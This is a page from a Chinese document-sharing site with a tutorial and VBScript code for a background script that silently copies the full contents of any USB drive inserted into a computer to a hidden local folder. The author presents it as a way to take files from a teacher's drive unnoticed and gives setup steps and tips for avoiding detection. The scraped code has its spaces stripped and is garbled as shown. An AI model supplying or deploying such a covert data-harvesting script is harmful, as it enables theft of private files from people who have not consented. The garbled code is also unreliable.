U盘插入自动复制程序

《U盘插入自动复制程序》由会员上传分享，免费在线阅读，更多相关内容在行业资料-天天文库。

1、U盘插入自动复制程序建立一个文本文档，WIN+R里面打NOTEPAD，或者自己新建一个都一样 把下面的代码复制进去 setfso=createobject("scripting.filesystemobject")setws=createobject("wscript.shell")onerrorresumenextdowscript.sleep1000iffso.driveexists("U盘的盘符")thenfso.copyfile"U盘的盘符加*号","要复制到的目录"fso.copyfolde

2、r"U盘的盘符加*号","要复制到的目录"wscript.sleep20000endifloop  注意标颜色的地方要自己改蓝色的就是要复制到的目录，比如要复制到C盘USB文件夹里，则用C:USB代替蓝色部分，注意大小写，同时必须确保USB这个文件夹存在。红色的是U盘的盘符，比如新插进去的U盘是E盘，则用e:*代替红色部分，F盘就是f:*，第一个U盘的盘符，这个不要*号，后2个切记不要漏掉*这个符号。注意和第一个的区别  复制好也改好后保存文件就OK了，然后改一下这个文件的名字，最好使用英文的

3、，然后后缀改成.VBS，原来是.TXT的，如果后缀没哟显示，则先打开我的电脑，在菜单栏里找到，工具——文件夹选项，在查看标签里，有一个隐藏已知文件类型的扩展名，把勾勾去掉就会显示出来后缀了。  后缀改好以后，运行这个文件，就OK了。同时你可以把这个文件删除掉，它已经驻留内存了，重启以后这个东西就不会再出现了，老师绝对发现不了要停止这个东西，在任务管理器里面结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。 另外我不是计算机专业的，这个东西目前对插N个U盘只会复制第

4、一个，对插移动硬盘会全部复制···要接近电脑请在上课之前，一般老师怕麻烦不会去重启的。  更新：现在没空弄这个，有些人弄不来我现在更新了一下代码，复制下面的所有东西到一个文本文件，改名为XX.VBS使用即可setfso=createobject("scripting.filesystemobject")setws=createobject("wscript.shell")dimUSB,file,folder,filesUSB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘

5、，则输入F","插入的U盘盘符","F")folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘，请输入D:","请输入复制到的文件夹","C:USB")files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件，输入xls；默认为全部类型","请输入要复制的文件类型","ALL")USB=USB&":"folder=folder&""iffiles="ALL"thenfile=USB&"*"elsefile=USB&

6、"*."&filesendififFSO.FolderExists(folder)thenelseFSO.CreateFolder(folder)endifonerrorresumenextdowscript.sleep1000iffso.driveexists(USB)thenfso.copyfilefile,folderfso.copyfolderfile,folderwscript.sleep20000endifloop 红色部分全部复制到一个文本文件，然后保存，后缀改成.VBS即可